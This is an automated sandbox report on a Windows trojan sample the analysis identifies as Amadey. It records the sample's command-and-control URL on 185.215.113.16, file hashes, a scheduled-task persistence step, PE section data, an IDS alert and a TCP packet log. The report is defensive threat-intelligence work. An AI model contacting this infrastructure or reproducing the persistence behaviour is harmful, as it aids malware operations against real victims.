Name	IP	Active	Malicious	Antivirus Detection	Reputation
time.windows.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php32	axplong.exe, 00000004.00000002.2605243731.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php:	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpi	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php8	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpX	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phph	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpD	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php3	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpp	axplong.exe, 00000004.00000002.2605243731.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519852
Start date and time:	2024-09-27 01:27:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/3@2/1
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 40.119.6.228, 20.101.57.9
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 712 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6752 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
01:28:10	Task Scheduler	Run new task: axplong path: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
19:29:00	API Interceptor	652990x Sleep call for process: axplong.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, DarkTortilla	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Go Injector, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, DarkTortilla	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1942016
Entropy (8bit):	7.948905481440068
Encrypted:	false
SSDEEP:	49152:NH09SO0SzQIL/QU3TR7u9ZlxJd3dbjJ1Qs/vVhkE+:NH09SOtVL/pTUZdd3mmSE+
MD5:	544CA28AA15B5ED1C6EE914B09E6F3C2
SHA1:	4B1A98399C63E9B3220CFB4B7F23F4297FAE6365
SHA-256:	1AF2F5A32AD1DB3AD373935626A38CC897EC5B717A43EC7DC2D3E507F034AA7D
SHA-512:	6B6F1E113BB1DE11CAA4F7D287FA7C31A1B79C127EEF99F315FF27EA06C4AE7FEA93D80A7E5A0A06FEA27347359F6D766956AECC4573B22C4A9CE812BCE1E4FC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................M...........@..........................0M.....<^....@.................................W...k.............................L.............................4.L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...fhovjjjc.....`2.....................@...tlwinqqe......L......z..............@....taggant.0....M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.5071267581007395
Encrypted:	false
SSDEEP:	6:93SzsQZX2JUEZ+lX1lOJUPelkDdtcVAkXIEZ8MlW8+y0lbout0:9Czzl2JQ1lOmeeDhkXd8kX+VMut0
MD5:	AAB9786FCEAB4E94EB39189F613B3F44
SHA1:	F9BAD97F936AC86BBC6A7A7D53A56EB2F8E1FF3F
SHA-256:	52FCC92ACF3A740B725A10862C6201B2041A74BC7D9754CC48C56BB63939F22D
SHA-512:	E571B145979BA7B3580DFBB44492891A2D0B6E62C9B21C5865F9EA2DE83292D2D07AF1AF3DFCDD0E45F595003028983FBECB900847E0EE294DE91728F2848E95
Malicious:	false
Reputation:	low
Preview:	.......Nr..N..aVB...F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948905481440068
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'942'016 bytes
MD5:	544ca28aa15b5ed1c6ee914b09e6f3c2
SHA1:	4b1a98399c63e9b3220cfb4b7f23f4297fae6365
SHA256:	1af2f5a32ad1db3ad373935626a38cc897ec5b717a43ec7dc2d3e507f034aa7d
SHA512:	6b6f1e113bb1de11caa4f7d287fa7c31a1b79c127eef99f315ff27ea06c4ae7fea93d80a7e5a0a06fea27347359f6d766956aecc4573b22c4a9ce812bce1e4fc
SSDEEP:	49152:NH09SO0SzQIL/QU3TR7u9ZlxJd3dbjJ1Qs/vVhkE+:NH09SOtVL/pTUZdd3mmSE+
TLSH:	0A9533AE52C4473BE3436F3F8965F9B9EFEFC42485181032EB4E66EAD50A51CC4A6710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8d0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F865CEE924Ah
jo 00007F865CEE9263h
add byte ptr [eax], al
jmp 00007F865CEEB245h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4ce284	0x10	fhovjjjc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4ce234	0x18	fhovjjjc
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	3fbe2d53bac981b92092e24e571f68f8	False	0.9971315139645777	data	7.976264378298446	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	31291c5676126d6072b2740eec5f0b1e	False	0.580078125	data	4.458154068548417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bb000	0x200	2cd7f97eee1fcd8f4a4b728974e6c3d8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fhovjjjc	0x326000	0x1a9000	0x1a8600	14ff4af6453ef4d169e4507242ff5d14	False	0.994316089837997	data	7.95414237718118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tlwinqqe	0x4cf000	0x1000	0x600	2598b8a3761c86a68cf15f1a7d4b4597	False	0.576171875	data	4.983374135333367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4d0000	0x3000	0x2200	8f413e51de559a41ec83c176fd738210	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4ce294	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T01:29:16.039993+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49718	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 01:29:02.123615026 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:02.128493071 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:02.128741026 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:02.128978968 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:02.133794069 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:02.843842983 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:02.846317053 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:02.871293068 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:02.876080990 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.102998972 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.103070974 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.206474066 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.206760883 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.211668968 CEST	80	49706	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.211710930 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.211801052 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.211853027 CEST	49706	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.211956978 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.216751099 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.922878027 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:03.923010111 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.923852921 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:03.929704905 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:04.152101994 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:04.152175903 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.253611088 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.254002094 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.260205030 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:04.260294914 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.260428905 CEST	80	49707	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:04.260428905 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.260487080 CEST	49707	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:04.265317917 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.128912926 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.128994942 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.129687071 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.134497881 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.354912996 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.355047941 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.459028006 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.459485054 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.464092970 CEST	80	49709	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.464147091 CEST	49709	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.464298010 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:05.464360952 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.464993954 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:05.469789028 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.154469967 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.154597044 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.155379057 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.160124063 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.611717939 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.611816883 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.627655983 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.627784967 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.722186089 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.722563028 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.727392912 CEST	80	49710	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.727406025 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:06.727482080 CEST	49710	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.727535963 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.727642059 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:06.732613087 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.453269005 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.453489065 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.454080105 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.459671974 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.688414097 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.688494921 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.800307989 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.800638914 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.805448055 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.805465937 CEST	80	49711	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:07.805543900 CEST	49711	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.805569887 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.805768967 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:07.810556889 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:08.869272947 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:08.869429111 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:08.869434118 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:08.869484901 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:08.870712996 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:08.877681017 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:09.128109932 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:09.128249884 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.238482952 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.238795996 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.243626118 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:09.243659973 CEST	80	49712	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:09.243691921 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.243726969 CEST	49712	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.243869066 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:09.248682022 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.046972036 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.047126055 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.048017025 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.052820921 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.276238918 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.276391029 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.378660917 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.379034996 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.384798050 CEST	80	49713	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.384852886 CEST	49713	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.384870052 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:10.384941101 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.385418892 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:10.390117884 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.114334106 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.114394903 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.116841078 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.121726990 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.455925941 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.455974102 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.604906082 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.605220079 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.610146999 CEST	80	49714	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.610162973 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:11.610243082 CEST	49714	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.610274076 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.610433102 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:11.615485907 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.360548019 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.360687971 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.361239910 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.366067886 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.592092991 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.592202902 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.706746101 CEST	49715	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.707093954 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.712055922 CEST	80	49715	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.712162971 CEST	49715	80	192.168.2.7	185.215.113.16
